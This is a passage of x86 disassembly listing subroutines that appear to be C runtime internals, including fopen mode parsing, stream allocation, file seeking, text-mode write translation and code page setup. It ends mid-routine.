arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_515AFC
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41B88A
		cmp	al, 72h
		jz	short loc_41B883
		cmp	al, 77h
		jnz	loc_41B99E
		mov	ecx, 301h
		jmp	short loc_41B88F
; ---------------------------------------------------------------------------


loc_41B883:				; CODE XREF: sub_41B851+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41B892
; ---------------------------------------------------------------------------


loc_41B88A:				; CODE XREF: sub_41B851+1Dj
		mov	ecx, 109h


loc_41B88F:				; CODE XREF: sub_41B851+30j
		or	esi, 2


loc_41B892:				; CODE XREF: sub_41B851+37j
		push	1
		pop	edx


loc_41B895:				; CODE XREF: sub_41B851+8Bj
					; sub_41B851+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41B984
		cmp	edx, ebx
		jz	loc_41B984
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41B923
		jz	short loc_41B913
		sub	eax, 2Bh
		jz	short loc_41B8FD
		sub	eax, 19h
		jz	short loc_41B8F3
		sub	eax, 0Eh
		jz	short loc_41B8DE
		dec	eax
		jnz	loc_41B975
		cmp	[ebp+var_4], ebx
		jnz	loc_41B975
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8DE:				; CODE XREF: sub_41B851+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41B975
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8F3:				; CODE XREF: sub_41B851+6Aj
		test	cl, 40h
		jnz	short loc_41B975
		or	ecx, 40h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B8FD:				; CODE XREF: sub_41B851+65j
		test	cl, 2
		jnz	short loc_41B975
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41B895
; ---------------------------------------------------------------------------


loc_41B913:				; CODE XREF: sub_41B851+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41B975
		or	ecx, eax
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B923:				; CODE XREF: sub_41B851+5Ej
		sub	eax, 62h
		jz	short loc_41B970
		dec	eax
		jz	short loc_41B959
		sub	eax, 0Bh
		jz	short loc_41B942
		sub	eax, 6
		jnz	short loc_41B975
		test	ch, 0C0h
		jnz	short loc_41B975
		or	ch, 40h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B942:				; CODE XREF: sub_41B851+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B975
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B959:				; CODE XREF: sub_41B851+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41B975
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B970:				; CODE XREF: sub_41B851+D5j
		test	ch, 0C0h
		jz	short loc_41B97C


loc_41B975:				; CODE XREF: sub_41B851+72j
					; sub_41B851+7Bj ...
		xor	edx, edx
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B97C:				; CODE XREF: sub_41B851+122j
		or	ch, 80h
		jmp	loc_41B895
; ---------------------------------------------------------------------------


loc_41B984:				; CODE XREF: sub_41B851+4Aj
					; sub_41B851+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41E476
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41B9A2


loc_41B99E:				; CODE XREF: sub_41B851+25j
		xor	eax, eax
		jmp	short loc_41B9BC
; ---------------------------------------------------------------------------


loc_41B9A2:				; CODE XREF: sub_41B851+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_515A34
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41B9BC:				; CODE XREF: sub_41B851+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B851	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9C1	proc near		; CODE XREF: sub_41821Ap
		mov	edx, dword_516B60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41BA32
		mov	ebx, dword_515B4C
		mov	edi, ebx


loc_41B9DD:				; CODE XREF: sub_41B9C1+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41B9F8
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41B9F3
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41B9DD
		jmp	short loc_41BA32
; ---------------------------------------------------------------------------


loc_41B9F3:				; CODE XREF: sub_41B9C1+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41BA1C
; ---------------------------------------------------------------------------


loc_41B9F8:				; CODE XREF: sub_41B9C1+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417BEE
		pop	ecx
		mov	ecx, dword_515B4C
		mov	[edi+ecx], eax
		mov	eax, dword_515B4C
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41BA32
		mov	esi, edi


loc_41BA1C:				; CODE XREF: sub_41B9C1+35j
		cmp	esi, ebp
		jz	short loc_41BA32
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41BA32:				; CODE XREF: sub_41B9C1+12j
					; sub_41B9C1+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B9C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA39	proc near		; CODE XREF: sub_4183EE+67p
					; sub_41922E+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_516C80
		push	esi
		push	edi
		jnb	short loc_41BABB
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:516B80h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BABB
		push	eax
		call	sub_41E3E2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BA7D
		mov	dword_515884, 9
		jmp	short loc_41BACC
; ---------------------------------------------------------------------------


loc_41BA7D:				; CODE XREF: sub_41BA39+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 7C810B8Eh
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BA9D
		nop
		call	near ptr 7C910331h
		jmp	short loc_41BA9F
; ---------------------------------------------------------------------------


loc_41BA9D:				; CODE XREF: sub_41BA39+5Aj
		xor	eax, eax


loc_41BA9F:				; CODE XREF: sub_41BA39+62j
		test	eax, eax
		jz	short loc_41BAAC
		push	eax
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41BACC
; ---------------------------------------------------------------------------


loc_41BAAC:				; CODE XREF: sub_41BA39+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BACF
; ---------------------------------------------------------------------------


loc_41BABB:				; CODE XREF: sub_41BA39+Dj
					; sub_41BA39+2Aj
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41BACC:				; CODE XREF: sub_41BA39+42j
					; sub_41BA39+71j
		or	eax, 0FFFFFFFFh


loc_41BACF:				; CODE XREF: sub_41BA39+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BA39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAD3	proc near		; CODE XREF: sub_4183EE+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BAEF
		mov	[edi+4], ebx


loc_41BAEF:				; CODE XREF: sub_41BAD3+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BB5D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BB14
		sub	eax, [edi+4]
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB14:				; CODE XREF: sub_41BAD3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BB4E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_516B80[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BB65
		mov	edx, ecx


loc_41BB3F:				; CODE XREF: sub_41BAD3+79j
		cmp	edx, eax
		jnb	short loc_41BB65
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BB4B
		inc	[ebp+var_8]


loc_41BB4B:				; CODE XREF: sub_41BAD3+73j
		inc	edx
		jmp	short loc_41BB3F
; ---------------------------------------------------------------------------


loc_41BB4E:				; CODE XREF: sub_41BAD3+50j
		test	dl, 80h
		jnz	short loc_41BB65
		mov	dword_515884, 16h


loc_41BB5D:				; CODE XREF: sub_41BAD3+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB65:				; CODE XREF: sub_41BAD3+68j
					; sub_41BAD3+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BB73
		mov	eax, [ebp+var_8]
		jmp	loc_41BC26
; ---------------------------------------------------------------------------


loc_41BB73:				; CODE XREF: sub_41BAD3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BC1E
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BB8C
		and	[ebp+var_8], edx
		jmp	loc_41BC1E
; ---------------------------------------------------------------------------


loc_41BB8C:				; CODE XREF: sub_41BAD3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BC18
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BBDF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BBCA:				; CODE XREF: sub_41BAD3+104j
		cmp	eax, ecx
		jnb	short loc_41BBD9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BBD6
		inc	[ebp+arg_0]


loc_41BBD6:				; CODE XREF: sub_41BAD3+FEj
		inc	eax
		jmp	short loc_41BBCA
; ---------------------------------------------------------------------------


loc_41BBD9:				; CODE XREF: sub_41BAD3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BC13
; ---------------------------------------------------------------------------


loc_41BBDF:				; CODE XREF: sub_41BAD3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BA39
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BC06
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BC06
		test	ch, 4
		jz	short loc_41BC09


loc_41BC06:				; CODE XREF: sub_41BAD3+124j
					; sub_41BAD3+12Cj
		mov	eax, [edi+18h]


loc_41BC09:				; CODE XREF: sub_41BAD3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BC13:				; CODE XREF: sub_41BAD3+10Aj
		jz	short loc_41BC18
		inc	[ebp+arg_0]


loc_41BC18:				; CODE XREF: sub_41BAD3+D9j
					; sub_41BAD3:loc_41BC13j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BC1E:				; CODE XREF: sub_41BAD3+A4j
					; sub_41BAD3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BC26:				; CODE XREF: sub_41BAD3+3Cj
					; sub_41BAD3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BAD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC2B	proc near		; CODE XREF: sub_418743+47p
					; sub_418743+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4216A8
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_515904, edi
		jnz	short loc_41BCA1
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4216A0
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_41BC7F
		mov	dword_515904, ebx
		jmp	short loc_41BCA1
; ---------------------------------------------------------------------------


loc_41BC7F:				; CODE XREF: sub_41BC2B+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_441700
		push	esi
		push	edi
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	loc_41BDB9
		mov	dword_515904, 2


loc_41BCA1:				; CODE XREF: sub_41BC2B+2Ej
					; sub_41BC2B+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41BCB6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41BCB6:				; CODE XREF: sub_41BC2B+79j
		mov	eax, dword_515904
		cmp	eax, 2
		jnz	short loc_41BCDD
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		jmp	loc_41BDBB
; ---------------------------------------------------------------------------


loc_41BCDD:				; CODE XREF: sub_41BC2B+93j
		cmp	eax, 1
		jnz	loc_41BDB9
		cmp	[ebp+arg_18], edi
		jnz	short loc_41BCF3
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_41BCF3:				; CODE XREF: sub_41BC2B+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41BDB9
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BD4E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41BD4E:				; CODE XREF: sub_41BC2B+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41BDB9
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jz	short loc_41BDB9
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41BDB9
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41BDCD
		cmp	[ebp+arg_14], edi
		jz	loc_41BE48
		cmp	esi, [ebp+arg_14]
		jg	short loc_41BDB9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jnz	loc_41BE48


loc_41BDB9:				; CODE XREF: sub_41BC2B+66j
					; sub_41BC2B+B5j ...
		xor	eax, eax


loc_41BDBB:				; CODE XREF: sub_41BC2B+ADj
					; sub_41BC2B+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BC2B+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41BE01
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41BE01:				; CODE XREF: sub_41BC2B+1C2j
		cmp	ebx, edi
		jz	short loc_41BDB9
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_41BDB9
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41BE28
		push	edi
		push	edi
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE28:				; CODE XREF: sub_41BC2B+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41BE2E:				; CODE XREF: sub_41BC2B+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BDB9


loc_41BE48:				; CODE XREF: sub_41BC2B+165j
					; sub_41BC2B+188j
		mov	eax, esi
		jmp	loc_41BDBB
sub_41BC2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE4F	proc near		; CODE XREF: sub_4188AC+A2p
					; sub_41922E+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_516C80
		push	esi
		push	edi
		jnb	loc_41BFE3
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:516B80h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41BFE3
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41BEA0


loc_41BE99:				; CODE XREF: sub_41BE4F+177j
		xor	eax, eax
		jmp	loc_41BFF7
; ---------------------------------------------------------------------------


loc_41BEA0:				; CODE XREF: sub_41BE4F+48j
		test	al, 20h
		jz	short loc_41BEB0
		push	2
		push	edi
		push	ecx
		call	sub_41BA39
		add	esp, 0Ch


loc_41BEB0:				; CODE XREF: sub_41BE4F+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41BF7F
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41BFB7


loc_41BED0:				; CODE XREF: sub_41BE4F+F5j
		lea	eax, [ebp+var_414]


loc_41BED6:				; CODE XREF: sub_41BE4F+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BF0A
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41BEF5
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41BEF5:				; CODE XREF: sub_41BE4F+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41BED6


loc_41BF0A:				; CODE XREF: sub_41BE4F+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jz	short loc_41BF74
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41BF46
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41BED0


loc_41BF46:				; CODE XREF: sub_41BE4F+EAj
					; sub_41BE4F+12Ej
		xor	edi, edi


loc_41BF48:				; CODE XREF: sub_41BE4F+150j
					; sub_41BE4F+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41BFDE
		cmp	[ebp+arg_0], edi
		jz	short loc_41BFB7
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41BFAC
		mov	dword_515884, 9
		mov	dword_515888, eax
		jmp	loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BF74:				; CODE XREF: sub_41BE4F+E0j
		nop
		call	near ptr 7C910331h
		mov	[ebp+arg_0], eax
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF7F:				; CODE XREF: sub_41BE4F+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jz	short loc_41BFA1
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41BF48
; ---------------------------------------------------------------------------


loc_41BFA1:				; CODE XREF: sub_41BE4F+145j
		nop
		call	near ptr 7C910331h
		mov	[ebp+arg_0], eax
		jmp	short loc_41BF48
; ---------------------------------------------------------------------------


loc_41BFAC:				; CODE XREF: sub_41BE4F+10Fj
		push	[ebp+arg_0]
		call	sub_41C91A
		pop	ecx
		jmp	short loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BFB7:				; CODE XREF: sub_41BE4F+7Bj
					; sub_41BE4F+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41BFCC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41BE99


loc_41BFCC:				; CODE XREF: sub_41BE4F+16Fj
		mov	dword_515884, 1Ch
		mov	dword_515888, edi
		jmp	short loc_41BFF4
; ---------------------------------------------------------------------------


loc_41BFDE:				; CODE XREF: sub_41BE4F+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41BFF7
; ---------------------------------------------------------------------------


loc_41BFE3:				; CODE XREF: sub_41BE4F+15j
					; sub_41BE4F+37j
		and	dword_515888, 0
		mov	dword_515884, 9


loc_41BFF4:				; CODE XREF: sub_41BE4F+120j
					; sub_41BE4F+166j ...
		or	eax, 0FFFFFFFFh


loc_41BFF7:				; CODE XREF: sub_41BE4F+4Cj
					; sub_41BE4F+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BE4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFFC	proc near		; CODE XREF: sub_41C3C0+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C195
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_516C84
		mov	[ebp+arg_0], esi
		jz	loc_41C189
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C17F
		xor	edx, edx
		mov	eax, offset dword_43B7D8


loc_41C030:				; CODE XREF: sub_41BFFC+41j
		cmp	[eax], esi
		jz	short loc_41C0A6
		add	eax, 30h
		inc	edx
		cmp	eax, offset off_43B8C8
		jl	short loc_41C030
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 7C812E76h
		cmp	eax, 1
		jnz	loc_41C177
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_516DA0
		cmp	[ebp+var_18], 1
		mov	dword_516C84, esi
		rep stosd
		stosb
		mov	dword_516EA4, ebx
		jbe	loc_41C165
		cmp	[ebp+var_12], 0
		jz	loc_41C13B
		lea	ecx, [ebp+var_11]


loc_41C083:				; CODE XREF: sub_41BFFC+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C13B
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C094:				; CODE XREF: sub_41BFFC+A8j
		cmp	eax, edx
		ja	loc_41C12F
		or	byte_516DA1[eax], 4
		inc	eax
		jmp	short loc_41C094
; ---------------------------------------------------------------------------


loc_41C0A6:				; CODE XREF: sub_41BFFC+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_516DA0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B7E8[esi]


loc_41C0C2:				; CODE XREF: sub_41BFFC+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C0F5


loc_41C0C9:				; CODE XREF: sub_41BFFC+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C0F5
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C0EE
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B7D0[edx]


loc_41C0E3:				; CODE XREF: sub_41BFFC+F0j
		or	byte_516DA1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C0E3


loc_41C0EE:				; CODE XREF: sub_41BFFC+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C0C9


loc_41C0F5:				; CODE XREF: sub_41BFFC+CBj
					; sub_41BFFC+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C0C2
		mov	eax, [ebp+arg_0]
		mov	dword_516C9C, 1
		push	eax
		mov	dword_516C84, eax
		call	sub_41C1DF
		lea	esi, dword_43B7DC[esi]
		mov	edi, offset dword_516C90
		movsd
		movsd
		pop	ecx
		mov	dword_516EA4, eax
		movsd
		jmp	short loc_41C184
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41BFFC+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C083


loc_41C13B:				; CODE XREF: sub_41BFFC+7Ej
					; sub_41BFFC+8Bj
		push	1
		pop	eax


loc_41C13E:				; CODE XREF: sub_41BFFC+14Fj
		or	byte_516DA1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C13E
		push	esi
		call	sub_41C1DF
		pop	ecx
		mov	dword_516EA4, eax
		mov	dword_516C9C, 1
		jmp	short loc_41C16B
; ---------------------------------------------------------------------------


loc_41C165:				; CODE XREF: sub_41BFFC+74j
		mov	dword_516C9C, ebx


loc_41C16B:				; CODE XREF: sub_41BFFC+167j
		xor	eax, eax
		mov	edi, offset dword_516C90
		stosd
		stosd
		stosd
